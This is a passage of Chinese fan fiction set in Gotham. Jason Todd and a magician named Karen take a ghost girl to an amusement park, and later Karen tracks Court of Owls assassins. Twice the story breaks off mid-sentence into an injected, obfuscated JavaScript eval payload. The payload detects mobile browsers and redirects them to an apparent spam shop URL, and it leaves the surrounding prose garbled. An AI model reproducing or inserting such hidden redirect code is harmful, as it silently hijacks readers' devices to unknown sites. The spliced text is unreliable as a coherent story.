“能看到烟花吗?” “能。” 她的嘴角翘起来。“我等爸爸。” 她转回去,继续踮着脚看门口。过了一会儿,她的嘴角又翘了一点。 “爸爸来了。” 商场门口,杰森正往里走。他换了件干净的外套,头发用水抹过了,没有乱翘。小女孩从玻璃门上松开手,朝他跑过去。跌跌撞撞的,像刚学会走路的小孩。她跑到他面前,停下来,仰着头。 “爸爸。”她说。 杰森低头看着她。“嗯。” “妈妈给我买了裙子。”她指着卡伦手里的袋子。黄色的,裙摆上有小雏菊。 杰森看了一眼袋子,又看了一眼卡伦。卡伦站在阳光底下,浅色卫衣,猫耳朵帽子,长头发梳成了一个低马尾,到背部靠上的地方,这套装扮弱化了他平时挥之不去的神秘感,让他的眉眼柔和下来,眼睛在晨光里亮得像金子。 等等,长头发?至少昨天还不是这样?而且我为什么会觉得他还挺好看的,虽然卡伦平时就很好看?杰森陷入了诡异的沉默。 算了,魔法师。杰森说服了自己。 “走了。”他说。“换裙子,去游乐园。” 小女孩抓住他的衣角,亦步亦趋地走在杰森旁边。 卡伦跟在后面,看着那一高一矮两个背影,把手插进口袋里,跟上去。 29. 第二十九章 1 商场的洗手间门口,卡伦蹲下来,把那条鹅黄色的裙子从袋子里拿出来。裙摆上的小雏菊在日光灯底下亮得有点过分,像一群被关在布料里的、还没长大的小太阳。 “换吗?”卡伦问。 她点头。 卡伦站起来,看了一眼女洗手间的门,又看了一眼自己。他一个大男人,带一个小女孩进女洗手间——不合适。让她自己进去换——她不一定会穿,而且她那副样子,被人看见了,大概会以为他是那种把孩子丢在商场的混蛋爸爸。 他想了想。然后他蹲下来,把裙子平铺在地上。 “站到中间来。”他说。 小女孩踩到裙子上。黄裙子在她脚底下铺开,小雏菊被她踩扁了几朵。 他把手覆在她的肩膀上。 银白色的光从他的指尖渗出来,像水,像丝线,像某种活着的东西。那些光丝钻进裙子的布料里,把黄裙子从地上拉起来,裹住她的身体。裙摆在她膝盖上方收拢,小雏菊一朵一朵地弹起来,重新站好。袖口收紧,贴着她细细的手臂。领口折下去,露出她瘦削的锁骨。 整个过程不到三秒。小女孩低头看着自己。黄裙子,亮亮的,把她整个人都照暖了。她伸出手,想摸一下裙摆。手指穿过去了。她把手指缩回来,攥成拳头。又伸出去摸了一下,还是穿过去了。她低着头,看着自己的手,不说话。 卡伦蹲下来。“摸我。”他说。 她抬头看他。卡伦把手伸出来,掌心朝上。她把手放在他的掌心里。 “好看吗?”她问。 “好看。”卡伦说,“特别好看。” 她的嘴角翘了一下。她把手从他的掌心里收回来,攥着裙摆,往洗手间外面走。走了两步,停下来,回头。 “妈妈。” “嗯?” “谢谢你。” 卡伦愣了一下。 “不客气。”卡伦说。 她笑了一下,转身走出去了。卡伦跟在后面。杰森靠在洗手间外面的墙上,双手插在口袋里。他看见小女孩的时候,表情稍微变得柔和。 “好看。”他说。声音有点哑,他清了清嗓子。“走吧。” 他转身往商场门口走。小女孩攥着裙摆,小跑着跟上去,经过卡伦的时候,仰头看了他一眼。暗红色的眼睛像是被照亮的红宝石。 卡伦跟在后面,看着她黄裙子上的小雏菊在她膝盖上一跳一跳的。 ——— 2 游乐园在哥谭东郊,开车四十分钟。 杰森开车,小女孩坐在后座,卡伦坐在她旁边。她把脸贴在车窗上,看着外面的东西往后退——房子、树、路灯、电线杆、一只蹲在垃圾桶旁边的猫。 “爸爸,”她问,“树为什么要跑?” 杰森从后视镜里看了她一眼。“没跑。是车在动。” “车为什么要动?” “因为要去游乐园。” “游乐园为什么要去?” 杰森沉默了两秒。“因为你想去。” 小女孩想了想。“那我不想去了,车是不是就不动了?” 杰森又沉默了两秒。“会,但你会后悔。” 小女孩又想了想。“那还是去吧。”她把脸重新贴回车窗上。树继续跑。 过了一会儿,她又开口了。“爸爸。” “嗯。” “冰淇淋是什么?” “一种冰冰凉凉的甜品,用牛奶做的。” “牛奶是什么?” “奶牛产的饮品。” “奶牛是什么?” 杰森有点心累了,从后视镜里看了一眼卡伦。 差点说出那句经典的“去找你妈妈”。 卡伦靠在椅背上,嘴角翘着,表情是那种“你别看我我也不知怎么解释”的快乐。 “一种动物。”杰森说,“很大,有四条腿。” “比爸爸大吗?” “比爸爸大。” 小女孩沉默了很久。车窗外的树还在跑。“那它会不会把游乐园踩坏?” “不会,它在农场里。” “农场是什么?” “养牛的地方。” “那它为什么不跑?” 杰森深吸一口气。 “因为它是牛。” 小女孩点了点头,好像这个解释完美地回答了她的问题。她把脸从车窗上抬起来,低头研究自己的裙子,小雏菊在膝盖上一晃一晃的。 “妈妈,”她问,“这些花是真的吗?” “不是,假的。” “那真的花长什么样?” 卡伦想了想。“有花瓣,有香味,有蜜蜂围着转。” “蜜蜂会蜇人吗?” “会的。” “那我不喜欢真的花。”她低头把小雏菊拍平,很认真地宣布,“我喜欢假的。” 杰森从后视镜里看了卡伦一眼。卡伦没注意到。他在看小女孩。她低着头,手指在裙摆上摸来摸去,摸不到布料,但她还是在摸,好像只要摸得够久,总有一天能碰到。 ——— 3 游乐园门口排着队。卡伦买的VIP票不用排,但他没走VIP通道。 “排队也是游乐园的一部分。”他对小女孩说。 她攥着他的衣角,踮着脚往前看。队伍不算很长,前面有一个妈妈牵着一个小男孩,小男孩手里拿着一个蜘蛛侠气球。后面有一对情侣,女生头上戴着米老鼠耳朵发箍,男生脖子上挂着一只巨大的粉色火烈鸟游泳圈。 小女孩盯着那只火烈鸟看了很久。“那是什么?” “火烈鸟。” “它为什么是粉色的?” “因为它吃了太多虾。” 小女孩瞪大了眼睛。她转头看卡伦,表情严肃。“那我也要吃虾。” “吃了不会变粉色的,你是人。” “那火烈鸟是鸟?” “对。” “那我也要当鸟。” 卡伦想了想。“你当鸟的话,就不能吃冰淇淋了。” 小女孩的表情裂开了。她站在原地,陷入了一场激烈的哲学思辨——当鸟还是吃冰淇淋。杰森从后面走过来,手里拿着三张票。“进去了。” 小女孩抬头看他,表情还是裂开的。“爸爸,当鸟好还是吃冰淇淋好?” 杰森看了卡伦一眼。卡伦耸肩。 “吃冰淇淋。”杰森说。 “为什么?” “因为鸟会被猫抓。” 小女孩的脸色变了。“猫会抓鸟?” “会。” “那我不当鸟了。”她攥紧卡伦的衣角,往他腿边缩了缩。“猫会抓我吗?” “不会,你是人。” “那猫会抓爸爸吗?” “不会,爸爸比猫大。” 小女孩松了一口气。她跟着杰森走进游乐园的大门,然后停住了。 她的嘴张着,眼睛瞪得圆圆的,攥着卡伦衣角的手指松开了。 她面前是一个巨大的、彩色的、会动会叫会发光的世界。旋转木马在转,音乐叮叮咚咚的,彩色的灯在小马的鬃毛上一明一灭。碰碰车在撞,叮叮咣咣的,小孩在尖叫。过山车从头顶飞过去,风把她的头发吹起来,她仰着头,看着那串尖叫的人从天上滑过去,嘴巴张得比那些尖叫的人还大。 “妈妈。”她说。 “嗯。” “这是什么地方?” “游乐园。” 她点了点头,像在确认一件很重要的事。“我喜欢这里。” ——— 4 冰淇淋车在旋转木马旁边,车顶上竖着一个巨大的塑料甜筒,甜筒上面那颗球被太阳晒得有点歪。 小女孩站在车前面,仰着头看菜单板。 她不认字,但她认识图片。 “要哪个?”杰森问。 她看了很久。手指在菜单板上点来点去,点了草莓,又移到巧克力,又移到香草。 “都要。”她说。 “吃不完。” “吃得完。” 杰森看了卡伦一眼,卡伦耸肩。杰森买了三个球。草莓的,巧克力的,香草的,放在一个纸碗里,上面插着一根小纸伞。 纸碗和勺子用的是卡伦自带的——这个小女孩碰得到。 小女孩接过纸碗,低头看着那三个球。草莓是粉色的,巧克力是棕色的,香草是白色的,挤在一起,像三个不同颜色的小朋友。她用小纸伞戳了一下草莓球,戳了一个洞,草莓味的冰淇淋从洞里慢慢流出来,流到巧克力的球上,变成一条粉色的河。 她挖了一勺,放进嘴里。她愣住了。 “怎么了?”卡伦问。 她没说话。她又挖了一勺。又放进嘴里。然后她蹲下来,把纸碗放在地上,两只手捂着脸。杰森和卡伦对视了一眼。杰森蹲下来。“不好吃?” 她摇头,手还捂着脸。 “太甜了?” 她摇头。 “太凉了?” 她摇头。她把手指张开一条缝,露出暗红色的眼睛。“太好吃了。”她说,声音闷在掌心里,“比我想象的还好吃。” 杰森蹲在那里,看着她捂着脸的手指,指缝里渗出来的暗红色眼睛,他没说话。他站起来,走到冰淇淋车前面,又买了一个球。香草的,放在一个纸碗里,没有小纸伞。他走回来,把纸碗放在小女孩面前。 “吃不完的给我。”他说。 “爸爸不吃吗?” “吃,等你吃不完再吃。” 小女孩点了点头。她吃得很慢,每一勺都要在嘴里含很久,好像在尝味道,又好像在记住这个味道。吃到第三口的时候,她停下来了。低头看着碗里还剩大半的冰淇淋。 怨灵本身吃不了任何东西,但她用的是卡伦的纸碗。 “吃不下了。”她说。 杰森把那碗一个球的推过去。“先吃这个。” 小女孩端起那碗香草的,挖了一勺,放进嘴里。又挖了一勺。吃到一半,又停下来了。她看着杰森,表情有点愧疚。“爸爸,我吃不下了。” 杰森没说话。他把她那碗三个球的端过来,挖了一勺,放进嘴里。化得厉害,几乎成了液体,混着草莓的粉色和巧克力的棕色,变成一种说不清道不明的颜色。他一口一口地把那碗化掉的冰淇淋吃完了。 小女孩看着他,嘴张着。“爸爸,好吃吗?” “不好吃。”杰森说。他把空碗扔进垃圾桶,又把她那碗剩了一半的香草端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不吃。”杰森说。 小女孩的表情又裂开了。她看着地上的棉花糖,好像在看一个被遗弃的小朋友。“它好可怜。” 杰森深吸一口气。他弯腰把地上的棉花糖捡起来——粉色的,粘着灰,还有一小片不知道谁踩过的脚印。他扔进垃圾桶。转身看着小女孩。“它不可怜。它去了垃圾桶,垃圾桶里有很多它的朋友。” 小女孩想了想。“垃圾桶里有棉花糖的朋友?” “有。草莓味的,巧克力味的,香草味的。都在里面。” 小女孩点了点头,好像这个解释完美地回答了她的问题。她攥着卡伦的衣角,继续往前走。走了两步,回头看了一眼垃圾桶。“它们会冷吗?” “不会。垃圾桶有盖子。” 小女孩放心了。 ——— 5 旋转木马是杰森坐的。 不是他想坐,是小女孩要坐,但她说“爸爸陪我”。 杰森站在旋转木马旁边,看着那匹粉色的、镶着假宝石的、眼睛画着长睫毛的马,沉默了五秒。 “我站旁边看你。” 小女孩摇头。“要爸爸一起。” 杰森看了卡伦一眼。卡伦站在围栏外面,手里举着手机,表情十分快乐。 “你上去。”卡伦说。 “你怎么不上?” “她又没叫我。” 杰森盯着他,无果。卡伦一直保持着那副无辜的表情。 然后他跨上那匹粉色的马,手抓着那根金色的杆子,指节发白。小女孩坐在他前面那匹白色的小马上,回头看他。暗红色的眼睛亮亮的,嘴角翘得老高。 “爸爸,你好像在骑小毛驴。” 杰森没说话。 音乐响了,旋转木马开始动起来。粉色的马一上一下的,杰森的身体也跟着一上一下的。 上帝,希望他今天不会遇到任何一个熟人,或者熟悉的监视器,监听器。 否则这一幕会变成提姆足矣威胁他一年的把柄。 小女孩转回去,抱住她的小白马,笑得咯咯的。旋转木马转了一圈又一圈。杰森开始习惯那匹粉色马的节奏了。他甚至松开了一只手,插进口袋里。 卡伦站在围栏外面,举着手机,拍了一张。 杰森的目光扫过来。 卡伦把手机放下,假装在看旁边的过山车。 旋转木马停了。杰森从那匹粉色的马上跨下来,腿有点麻。他走出围栏。小女孩跟在他后面,手攥着他的衣角。 “爸爸。” “嗯。” “你刚才笑了。” “没有。” “笑了,我看见了。” 杰森没说话。 他往前走,小女孩小跑着跟上,黄裙子上的小雏菊在她膝盖上一跳一跳的。 卡伦跟在后面,把手机塞进口袋里。他刚才拍到了一张。杰森坐在粉色木马上,嘴角上扬,很小,很轻,像一个人坐在黄昏的窗台前面,什么都不想,露出一点有些纯粹的快乐。 卡伦没删,他当然不会删,这张照片将来可是要跟着他入土的。 别说他变态,拜托他都没有要求合葬,拿张照片怎么了? 他跟在后面,看着那一高一矮两个背影。高的那个,步子很大,但每一步都等一小下。矮的那个,黄裙子在阳光下亮得像一小片被剪下来的阳光。 她攥着杰森的衣角,走得跌跌撞撞的,但比昨天稳,比昨天快。 卡伦把手插进口袋里,跟上去。 30. 第三十章 1 下午四点半,卡伦开始变得神神秘秘的。 他一直在看手机,每隔两三分钟就掏出来看一眼,看完又塞回去,塞回去没走两步又掏出来。 小女孩攥着他的衣角,仰着头看了他好几次。 “妈妈在等谁的电话吗?” “没有。” “那妈妈为什么一直看手机?” 卡伦把手机塞回口袋。“在等时间。” 小女孩想了想。“时间会打电话吗?” 卡伦笑了一下。“不会,但到了时间,会有东西出现。” “什么东西?” “秘密。” 小女孩的眼睛亮了一下。 她喜欢秘密。 她攥着卡伦的衣角,脚步快了一点。 杰森走在旁边,双手插在口袋里,看着卡伦又一次掏出手机又塞回去。他没问。卡伦想搞什么花样是他的事。 但卡伦第三次掏出手机的时候,他看了一眼屏幕——一个订票页面,上面写着“落日摩天轮·VIP包厢·烟花秀预留位”。 杰森把目光移开了,他不想知道花了多少钱。 五点钟的时候,卡伦停下来。 “你带她玩一会儿。”他对杰森说。 杰森看着他。 “我去办点事。”卡伦说。 他的表情很平静,但耳朵尖有一点红。杰森认识他这么久,知道这个人只有在心虚的时候耳朵才会红。 什么?害羞的时候也会?那就不关他的事了,反正他也没见过。 “什么事?” “小事。” “什么小事?” 卡伦没回答。他蹲下来,和小女孩平视。“妈妈离开一下,你和爸爸玩一会儿,好不好?” 小女孩攥着他的衣角,没松手。 “很快。”卡伦说,“等你再看见妈妈的时候,会有惊喜。” 小女孩想了想。“比棉花糖还惊喜?” “比棉花糖还惊喜。” 她松开手了。 卡伦站起来,看了杰森一眼。 “往摩天轮那边走,别太远。” 然后他转身走了。很快,消失在人群里。 杰森站在原地,看着他的背影。他走路的姿势有点急,像赶着去做什么见不得人的事。 杰森把目光收回来,低头看着小女孩。“走吧。” “妈妈去哪了?” “办点事。” “什么事?” “不知道。” 小女孩点了点头,没再追问,她攥着杰森的衣角,跟着他往摩天轮的方向走。 走了两步,她又开口了。“爸爸,妈妈是不是不喜欢我了?” 杰森低头看她。她没看他,低着头,手指在他的衣角上绕来绕去。 “为什么这么问?” “因为妈妈走了。” “他很快会回来的。” “真的吗?” “真的。” 小女孩的手指松了一下,又攥紧了。她抬起头,暗红色的眼睛看着他。“爸爸,你会不会也走?” 杰森看着那双暗红色的眼睛。很奇怪,现在那双眼睛已经没有了诡异的,像凝固的血液般的渗人感觉,反而像哥谭深秋傍晚最后一缕被云层压住的光。 “不会。”杰森说。 小女孩没说话。她低下头,继续攥着他的衣角,跟着他往前走。 杰森放慢了脚步。他想起自己小时候,在犯罪巷,也这样攥过别人的衣角。Catherine的,Willis的。每一次他都想问“你会不会走”,但每一次都没问。因为如果问了,而他们说“会”,那就连最后一点假装的安全感都没有了。 这个问题对于犯罪巷的孩子来说,有些软弱,又有些残忍了。 她问了,他说不会。 他不知道这算不算撒谎,但他知道她信了,脚步重新轻快起来。 ——— 2 杰森带着小女孩在摩天轮附近转了一圈。 她坐了两次旋转茶杯,晕得走路歪歪扭扭的,但死活不肯下来。杰森把她从茶杯里抱出来的时候,她抱着他的脖子,把脸埋在他的肩膀里。 “爸爸,那个杯子为什么一直在转?” “因为你让它转的。” “我没有让它转。” “你转了方向盘。” “那是方向盘吗?我以为那是糖。” 杰森把她放下来。她的脸还是红的,头发更湿了,贴在额头上。但她不肯休息。她看见了一个卖发光气球的小贩,指着那个粉色的、里面有一朵玫瑰的、飘在半空中的气球,嘴张着。 “爸爸。” “买。” 杰森走过去,买了那个粉色的。小贩把绳子递给他,看了他一眼,又看了一眼他身后的小女孩,又看了一眼他。 “先生,您女儿真可爱。” 杰森没说话。 他接过绳子,转身递给小女孩。 小女孩接过绳子,把气球拉到面前,鼻子贴着那朵玫瑰。她的呼吸让气球晃了一下,里面的玫瑰也跟着晃了一下。她的嘴角翘起来。 “爸爸,它在动。” “嗯。” “它是活的吗?” “不是,是风。” “风从哪里来的?” “从你鼻子里。” 小女孩把鼻子从气球上移开,抿着嘴,不让自己呼吸。憋了大概五秒,憋不住了,呼了一口气。气球又晃了一下,她笑得更开心了。 她攥着气球绳子,走在杰森旁边。粉色气球在她头顶飘着,像一朵被拴住的花。 杰森走在她旁边,双手插在口袋里,看着那颗气球。 他觉得自己的脖子有点酸。 他不知道为什么,想把这一幕留下来,但他没拿出手机。他站在那儿,看着那个小女孩和她头顶的气球,把这一幕收进脑子里了。 他不知道自己为什么要这么做,他只知道以后可能会想她,尽管他们才多了相处了一天多。 可能是会想这条黄裙子,这些湿漉漉的头发,这朵粉色的玫瑰。 或者今天明媚的,温暖的冬日阳光。 她走了之后,他还会记得。 杰森把目光移开,看着远处的摩天轮。太阳已经很低了,挂在摩天轮后面,把整个轮子染成橘红色。 卡伦说别走太远,他就在这儿等。 ——— 3 六点,太阳快要落山了。 摩天轮下面的广场上聚了很多人,都在等落日时段的摩天轮。杰森带着小女孩站在人群外面,她攥着他的衣角,踮着脚往摩天轮的方向看。 但她太矮了,什么也看不见。 杰森把她抱起来,让她坐在他肩膀上。她很轻,比一颗苹果还轻,这个重量让杰森想起了曾经坐在这里的那只猫咪。 “爸爸,那个大轮子在转。” “嗯。” “好大。” “嗯。” “妈妈在上面吗?” 杰森愣了一下。他抬头看摩天轮。每个包厢都是透明的,阳光照在玻璃上,反着光,看不清里面。 “不清楚。”杰森说。 小女孩不说话了。她坐在他肩膀上,攥着他的头发,看着那个大轮子。 太阳又落了一点,摩天轮的影子拉得很长,从广场一直延伸到湖边。人群在往前移动,摩天轮在转,落日的光从金色变成橘色,从橘色变成粉色,从粉色变成紫色。 然后音乐响了。 不是摩天轮的音乐。是别的什么,乐队。 杰森往声音的方向看过去。 广场的另一头,一辆花车正慢慢开过来。很大的花车,上面铺满了花——红的,黄的,粉的,紫的,白的,挤在一起,像一整座被搬过来的花园。 花车最前面站着一个指挥,背对着人群,面朝着乐队。他穿着一身白色的西装,在落日的光里亮得有点刺眼。 杰森眯起眼睛。那个背影——浅色卫衣不见了,猫耳朵帽子不见了,工装裤和短靴都不见了。那个人穿着一身剪裁合身的白色西装,头发比早上更长了一点,披在肩膀上,被风吹起来几缕。 他的手里拿着一根指挥棒——很细,银白色,在落日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444127|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的光里一闪一闪的。他的腰挺得很直,头微微仰着,看着前面的乐队。 杰森没认出来。 他认识的那个人,平时穿黑色高领内搭和休闲裤,总之,总是一身暗沉沉的颜色。头发乱糟糟的,坐在诊台后面给老太太量血压。 那个人不是这样的,那个人是——他不知道该叫什么。 花车上的那个人,白色的西装,银色的指挥棒,长头发被风吹起来,站在落日底下,像一个魔法师。 是那种你在故事里听过、在梦里见过、醒来之后觉得世界上不可能有、但此刻他就站在你面前的魔法师。 旁边有人欢呼起来。“是今天的特别演出!” “游乐园三十周年庆典!” “听说请了很有名的乐团——” 杰森站在人群中间,肩膀上坐着一个小孩,手里攥着一个气球。周围的人都在欢呼,都在鼓掌,都在举着手机拍。这是一个盛大的、精心策划的、属于所有人的庆典。 卡伦只是其中的一部分,他是这场演出的一部分。和花车、和乐队、和鸽子、和落日一样,是游乐园送给所有人的礼物。 杰森这样告诉自己。 他抬起头,看着那个人举起指挥棒。 银白色的光从棒尖炸开,像一朵被点燃的烟花。然后那些光散成无数细丝,往天上飞,往四面八方飞。 成百上千只鸽子从花车后面飞起来,扑棱棱地冲向天空。它们的翅膀上沾着卡伦的光,在落日里一闪一闪的。 人群在尖叫,在欢呼,在鼓掌。鸽子从人们头顶飞过去,翅膀几乎擦着头发。 它们嘴里叼着花,红的,黄的,粉的,紫的,白的。玫瑰,雏菊,满天星,不知名的小野花。鸽子把花扔下来,扔在人们的肩膀上,扔在孩子们的头顶上,扔在情侣交握的手上。广场上像下了一场花雨。 杰森站在人群中间,仰着头。一朵粉色的玫瑰从他头顶飘过去,他没有接。 他看见卡伦站在花车上,白色的西装,银色的指挥棒,长头发被风吹起来,脸上挂着十分陌生的,意气风发的笑容,但却十分适合出现在那张年轻的脸上。 一只鸽子停在他肩膀上,又一只停在他手臂上,他就站在那里,被鸽子围着,在夕阳的照耀下,仿佛天生该待在舞台的中心。周围的人在欢呼,在鼓掌,在尖叫。 杰森也在人群中,他也仰着头,他也看着那个人。但他的心跳很快。和周围数百人的心跳几乎同频。 在这个盛大的、热烈的、所有人都沉浸其中的时刻。 是因为这个场景太梦幻了,是因为鸽子飞得太美了,是因为落日太漂亮了,是因为音乐太好听了。是因为整个广场上的人都在欢呼,他不可能不被感染。和周围的人一样,被这个精心策划的、盛大的、美丽的时刻感动了。就是这样。 杰森站在人群中间,听着自己的心跳,和周围的欢呼声一个节奏。 他把那个节奏归给了音乐,归给了鸽子,归给了落日,归给了这个不属于任何人的、盛大而浪漫的时刻。 最后一朵花从天上落下来。 一朵香槟玫瑰,旋转着,花瓣在风里微微颤动。它像是正好被风裹挟着,在他面前打转,但他还是没有接。 旁边一个年轻女孩伸手接住了,举起来给她男朋友看,两个人笑着抱在一起。 杰森看着他们,把空着的手插进口袋里。他低下头,看见小女孩从他肩膀上探出头来,看着那个女孩手里的玫瑰。 “爸爸,好漂亮。” “嗯。” “妈妈好厉害。” “嗯。” 小女孩把脸贴在他的头顶上。她的手指还插在他的头发里,攥着他的发根。 她轻声说:“我喜欢妈妈。” 杰森没说话。他抬起头,看着花车。卡伦已经不在上面了。鸽子也飞走了,花车开始往前开,乐队又开始奏下一首曲子。人群跟着花车往前走。 杰森站在原地,他的心跳已经慢下来了,和周围的人群一起,慢慢地、慢慢地,恢复了正常。 他松了一口气。然后他往摩天轮的方向走去。 卡伦在入口处等着。 32. 第三十二章 1 游乐园之后,哥谭下了两场雨。 一场在夜里,一场在清晨。东区的街道永远湿漉漉的,路灯照在水洼上,反着昏黄的光。 诊所的生意和往常一样,不咸不淡。上午崴脚的小孩,下午咳嗽的老太太,中间夹个被猫抓伤的邮递员。 唯一有点发愁的事,总有一些病患不会和医生保持距离。比如卡伦给老太太量血压的时候,她问他有没有对象。他说没有。老太太说可惜了,小伙子长得挺好看的。他说谢谢。她又说我孙女也不错。卡伦回复他最近在考虑出家。 卡伦觉得这不能怪他。 杰森来过两次,两次都没多留。 他觉得自己应该庆幸。那些在摩天轮上脱口而出的蠢话也可以当没说过,反正杰森没听见。 烟花那么响,他不可能听见。 卡伦每天这样告诉自己一遍,试图让自己忘记这件只要想起来就会几乎让他无地自容的事。 真的很尴尬啊,现在想起来还会怀疑自己是不是有点幼稚,特意卡着烟花炸开的时候告白什么的。 最可怕的是,如果时间倒退让他再来一次,他还会干。 简直就是不敢撞南墙,但又不回头。 虽然每天心情复杂,但卡伦也没闲着。 观测世界的事他一直记着。林肯·马奇,猫头鹰法庭,韦恩大厦,利爪。他不记得具体的时间线,只知道这些事会在近期发生。也许下周,也许下个月,也许明天。 几个闪现的片段像是残缺的拼图碎片,他只能猜一个大概的形状,剩下的靠蒙。 他不知道能做什么,他只知道不能什么都不做。 预言是活的,你说出口的那一刻,它就会变。未来是由无数个“行为”堆出来的。 你告诉一个人他会摔跤,他走路的时候会一直盯着地面,然后撞上电线杆。 虽然他也不知道观测平行世界的发展这种东西算不算预言,但反正二者比起来也说不好谁更准。总之目前看来发展差不多。 不是预言错了,是预言本身改变了他走路的方式。 这玩意儿就像你妈告诉你别把饭粒掉在桌上——你本来不会掉的,她一说,你手一抖,掉了。 靠预言吃饭的法师,最后基本都疯了,倒不是看到了什么可怕的东西,更多的是他们分不清“看到的”和“造成的”。 所以他不主动透露未来的事。除非——不透露的后果比透露更糟。灭霸那次,后果是宇宙一半生命消失,尽管后面那些人回来,打败了灭霸,但钢铁侠也是真的死了。他没得选。 但猫头鹰法庭不一样。没有卡伦帮忙,没有预言指路,蝙蝠侠也能解决这件事。 卡伦觉得这就够了。他不需要告诉蝙蝠侠迷宫在哪里、怎么出去、里面有什么。那些是蝙蝠侠需要自己去经历的东西。 他只需要保证一件事——他不会摔死。不是让他不摔,是让他不摔死。差一个字,天差地别。他不会替蝙蝠侠躲开这一劫,他只是在最坏的情况发生时,保证他活下来。 虽然命运并不是不可改变的,但像猫头鹰法庭这种影响重大的事,与其改到一个谁都不知道的路,还不如尽量让原本的路好走一些。 所以他在东区布阵的时候,顺便把韦恩大厦附近也铺了一层。很薄,像一层灰,不仔细感知根本发现不了。触发条件是他自己设计的——布鲁斯·韦恩从高处急速下坠。 阵法铺好的那天晚上,卡伦蹲在韦恩大厦对面的楼顶上,把最后一块刻了符文的石头塞进排水管道的缝隙里。 哥谭的夜风吹过来,把他的头发吹到脸上。头发还是长的,他一直没有剪。说不清是懒得剪还是不想剪。 也许是因为那个小女孩说“妈妈应该是长头发”。她走了之后他还在留。这很蠢,他知道。小女孩会不会留下或者会不会得到幸福的一生和他的长发没有半毛钱关系。 但有些事情就是这样——你知道它蠢,你还是做了。 手机震了一下,杰森的消息。 “你在哪儿?” 卡伦看了一眼脚下的韦恩大厦,打了两个字。“外面。” “哪个外面?” “东区。” 对面沉默了一会儿。“又在cos蜘蛛侠?复仇者会告你侵权的。” 卡伦听懂了,明摆着在说他到处布阵像蜘蛛到处结网。 “嗯,之前没铺完。” “你在我的地盘上结网?” 卡伦的手指停了一下。 他想打“你的地盘?”,又删掉了。 他想了想,打了一句:“你的地盘上有一家诊所,更巧的是那家诊所是我的,所以东区至少算是咱们两个的共有财产。”又删掉了。 太长了,而且听起来像在表白。 他又想了一下,打了六个字:“诊所也在东区。” 发送。 对面沉默了更久。 卡伦以为他不回了,正准备把手机塞进口袋,屏幕亮了。 “我又没拦你。” 在东区结了网,就在东区好好待着啊,别天天去宇宙走钢丝。 卡伦笑了一下。 他把手机收好,站起来,拍了拍裤子上的灰。夜风把他的头发吹得更乱了,他伸手捋了一下,没捋顺。 他转身消失在哥谭的夜色里。像一个鬼。一个头发很长的、穿工装裤的、蹲在别人楼顶上塞石头的鬼。 他觉得自己要是被哥谭市民看见了,大概会被当成都市传说。 也好,比“诊所那个长得还行的医生其实是个变态跟踪狂”强。 ——— 2 接下来的几天,卡伦的夜巡从“布阵”升级成了“抓利爪”。 阵法比他预想的管用。那些利爪——法庭的刺客,被琥珀金复活的死人——在夜晚行动的时候,会在他的感知网里亮成一个个暗红色的光点。 他们的灵魂不算活着,也谈不上死了,是那种被卡在中间的、像将灭未灭的炭火一样的光。用点魔法世界的行话来讲,就是“不该存在的”。 第一个利爪是在东区的一个废弃仓库里发现的。 它蹲在房梁上,黑色的战斗服和夜色融为一体,猫头鹰护目镜在月光底下反射着冷光。它在等一个人。卡伦不知道它在等谁,但他知道这个人不该死在这里。他从暗处切进去,像猫从高处跃下,无声无息。手指间夹着一枚刻了符文的石头,在利爪反应过来之前,按在它的后颈上。 银白色的光炸开,一股极为冰寒的气息侵入利爪的身体。利爪僵住了,像一台被拔掉电源的机器。它从房梁上栽下来,卡伦接住了它。 很重。比它看起来重得多。身体像一块被冻过的铁。卡伦把一枚定位用的符文塞进它的护目镜夹层里,然后把它的四肢摆正,靠在墙上。 它会在天亮之前醒来,不记得发生了什么。但卡伦会知道它去了哪里。 尽管这枚符文的科技含量为零,定位全靠魔法,他也没有指望着这个定位能坚持多长时间,猫头鹰法庭发现不了的话,那也太low了,不过至少能有个大概的方向。 第二个利爪是在韦恩大厦附近的一条小巷里发现的。它站在路灯底下,一动不动,像一个等人认领的行李箱。卡伦从它背后走过去,脚步声压到最低。手指碰到它的后颈时,它的头转了过来。一百八十度。 确实挺像猫头鹰。 卡伦和那张被护目镜遮住大半的脸对视了一秒。 这一秒里他的脑子里闪过很多念头。“好家伙,它的脖子不疼吗”“它能不能看见自己的屁股”。 然后他把符文按了上去,把它的身体靠在垃圾桶旁边,摆了一个很安详的姿势——双手交叠放在腹部,双腿并拢,像躺在棺材里。他觉得自己很有幽默感。虽然没人欣赏。 第三个,第四个,第五个。 五天时间,卡伦把韦恩大厦附近感知到的利爪一个一个摸了过去。有的在楼顶,有的在地下停车场,有的混在早高峰的人群里——穿着黑色连帽衫,戴着墨镜,但走路的姿势不对。 卡伦跟了它三条街,在一个拐角处把它按进了消防通道的阴影里。身体倒下去的时候,他看见它的脖子侧面有一道很长的疤,从耳后一直延伸到锁骨,缝过,又裂开,又缝上。 他盯着那道疤看了两秒。然后把符文塞进它的衣领里。 顺便帮它把连帽衫的帽子拉好,毕竟晚上冷,虽然它应该感觉不到。 他把追踪到的信息整理成一份文件,存在诊所地下室的电脑里。电脑是二手市场淘的,做了点魔法改造,屏幕上有两道裂痕,键盘的A键不太灵敏。 他给文件取名叫“猫头鹰”,加密了三层,又在文件夹里放了一个诱饵文件,名字叫“真的在这里”,内容是空的,谁点开谁倒霉。 杰森来的那天,卡伦正在往文件里加第七个利爪的坐标。 杰森靠在诊台上,手里端着一杯茶,看着他对着电脑敲敲打打。 “你在干什么?” “整理东西。” “什么东西?” 卡伦犹豫了一下。“猫头鹰法庭。” 杰森的手停了一下。“你在查猫头鹰法庭?” “嗯。” “为什么?原来这玩意儿是真的存在的?” 他转头看杰森。“林肯·马奇,韦恩大厦,利爪。他们快动手了。” 